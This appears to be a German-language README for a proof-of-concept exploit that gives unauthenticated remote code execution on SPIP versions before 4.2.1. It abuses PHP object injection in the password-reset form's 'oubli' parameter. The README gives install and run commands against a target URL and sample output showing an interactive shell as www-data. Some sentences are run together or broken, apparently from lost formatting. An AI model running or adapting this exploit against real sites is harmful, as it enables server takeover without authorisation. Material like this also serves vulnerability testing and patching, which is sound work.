
Proof-of-Concept-Exploit für nicht authentifizierte Remote-Codeausführung in SPIP < 4.2.1 über PHP-Objektinjektion im Passwort-Reset-Formular. Bietet eine interaktive Shell mit CSRF-Token-Verarbeitung.
Schwachstelle für nicht authentifizierte Remote-Codeausführung in SPIP vor 4.2.1. Der Parameter
oubliim Passwort-Reset-Formular ist aufgrund fehlerhafter Deserialisierung anfällig für PHP-Objektinjektion. Ein manipulietter serialisierter Payload wird serverseitig als Web-Benutzer ausgeführt, und die Ausgabe wird in der Antwort innerhalb des Werts des Eingabefeldsoublireflektiert.
/spip.php?page=spip_pass ab.oubli injiziert wird.value-Attribut in der Antwort.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET/spip
Beispiel:
$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data